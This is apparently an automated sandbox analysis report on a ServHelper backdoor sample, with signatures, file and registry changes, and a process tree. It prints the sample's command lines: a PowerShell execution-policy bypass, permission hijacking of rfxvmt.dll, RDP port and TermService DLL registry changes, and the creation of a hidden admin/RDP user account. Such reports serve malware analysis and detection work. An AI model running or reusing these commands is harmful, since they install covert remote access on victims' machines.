Malware Analysis Report

2024-10-23 17:54

Sample ID 210824-v3qvdsgtms
Target 1aa9dda1b9b413444b0668500611c7f3
SHA256 02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9
Tags
servhelper backdoor discovery exploit persistence trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9

Threat Level: Known bad

The file 1aa9dda1b9b413444b0668500611c7f3 was found to be: Known bad.

Malicious Activity Summary

servhelper backdoor discovery exploit persistence trojan upx

ServHelper

Grants admin privileges

Blocklisted process makes network request

Sets DLL path for service in the registry

Modifies RDP port number used by Windows

Possible privilege escalation attempt

UPX packed file

Executes dropped EXE

Loads dropped DLL

Modifies file permissions

Deletes itself

Drops file in System32 directory

Suspicious use of SetThreadContext

Drops file in Windows directory

Drops file in Program Files directory

Enumerates physical storage devices

Script User-Agent

Modifies registry key

Suspicious use of SendNotifyMessage

Runs net.exe

Suspicious behavior: LoadsDriver

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Modifies system certificate store

Modifies data under HKEY_USERS

Runs ping.exe

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-08-24 04:58

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-08-24 04:58

Reported

2021-08-24 05:00

Platform

win7v20210410

Max time kernel

123s

Max time network

130s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"

Signatures

ServHelper

trojan backdoor servhelper

Grants admin privileges

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies RDP port number used by Windows

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Sets DLL path for service in the registry

persistence

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\rfxvmt.dll C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 556 set thread context of 1520 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\Basebrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c1e34e-f8f1-40e3-9e34-d2bc60847978 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7851d9f8-5a94-4f19-abbc-9e8754f2820b C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_590079ea-d8ab-4b5e-8331-794979062022 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8488ae52-0de2-4204-94c6-5ac571d06aae C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KBIT5YP27TKMSI74A9CW.temp C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93327922-f4a0-4fd5-8423-0f8106e1b855 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a704ef83-0bb9-44e2-b4a7-67d84b238768 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d4f4b9bc-e8b7-414b-8df1-a0caa47c56af C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_efee7dc4-21f0-44af-b875-9268496691b1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93423796-147b-49e7-8764-f1426d3b4079 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_852a90e6-f7a1-42e9-b4a4-145948992680 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\ShellBrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd7fe452-a2c5-417f-a5a4-6a8ca20a6b82 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\Wbem\WMIC.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\Wbem\WMIC.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 5099d058a498d701 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\icacls.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 792 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 792 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 792 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 792 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 792 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 792 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 792 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 792 wrote to memory of 1444 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 1444 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1444 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1444 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1444 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1428 wrote to memory of 1628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1428 wrote to memory of 1628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1428 wrote to memory of 1628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1428 wrote to memory of 1628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 1428 wrote to memory of 1684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1428 wrote to memory of 1684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1428 wrote to memory of 1684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1428 wrote to memory of 1684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1428 wrote to memory of 420 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1428 wrote to memory of 420 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1428 wrote to memory of 420 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1428 wrote to memory of 420 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1684 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1684 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1684 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 556 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 556 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 556 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 556 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 556 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 1520 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1520 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1520 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 1604 wrote to memory of 528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 1604 wrote to memory of 528 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 528 wrote to memory of 924 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 528 wrote to memory of 924 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 528 wrote to memory of 924 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 1604 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 292 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 1444 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 1444 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 1444 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 1604 wrote to memory of 568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 1604 wrote to memory of 568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 1604 wrote to memory of 1832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1832 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1536 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1536 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1536 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1148 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 1604 wrote to memory of 1148 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe

Processes

C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe

"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"

C:\Windows\SysWOW64\dllhost.exe

"C:\Windows\System32\dllhost.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx

C:\Windows\SysWOW64\cmd.exe

cmd

C:\Windows\SysWOW64\findstr.exe

findstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

Uso.exe.com B

C:\Windows\SysWOW64\PING.EXE

ping MRBKYMNO -n 30

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0hwfdrms\0hwfdrms.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES11EB.tmp" "c:\Users\Admin\AppData\Local\Temp\0hwfdrms\CSC94084A0813C4B92B670F7277E39339.TMP"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile

C:\Windows\system32\takeown.exe

"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f

C:\Windows\system32\net.exe

"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr

C:\Windows\system32\cmd.exe

cmd /c net start rdpdr

C:\Windows\system32\net.exe

net start rdpdr

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start rdpdr

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService

C:\Windows\system32\cmd.exe

cmd /c net start TermService

C:\Windows\system32\net.exe

net start TermService

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net.exe

net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc xxaIqIFQ /add

C:\Windows\system32\net.exe

net.exe user wgautilacc xxaIqIFQ /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc xxaIqIFQ /add

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

